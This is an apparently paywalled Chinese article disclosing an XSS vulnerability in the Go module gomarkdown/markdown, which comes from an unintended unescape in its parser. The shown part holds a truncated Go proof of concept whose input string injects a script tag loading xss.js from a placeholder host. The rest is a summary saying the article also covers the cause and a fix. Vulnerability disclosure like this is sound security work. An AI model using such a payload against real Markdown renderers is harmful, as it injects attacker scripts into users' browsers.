前言
gomarkdown/markdown 是 Go 语言的一个流行模块,它旨在快速地将 Markdown 文档转化为 HTML 页面。而此次发现的漏洞,来源于作者在编写其语法树 Parser 的时候无意的一次 unescape。
漏洞复现
我们首先来看一段代码。
package main
import (
"fmt"
"github.com/gomarkdown/markdown"
"html"
)
func main() {
var textToRender = "```\"1;><script/src=\"http://HOST/xss.js\"></script>\n\n```\n"
var middleware = html.EscapeString(textToRender)
var result = markdown.ToHTML([]byte(middleware), nil, nil)
fmt.Println(string

本文介绍了Go语言模块gomarkdown/markdown中存在的XSS安全漏洞,详细分析了漏洞产生的原因,复现了漏洞,并探讨了解决方案。通过代码示例展示了如何修复该漏洞,防止script标签被渲染,避免XSS攻击。
最低0.47元/天 解锁文章

被折叠的 条评论
为什么被折叠?



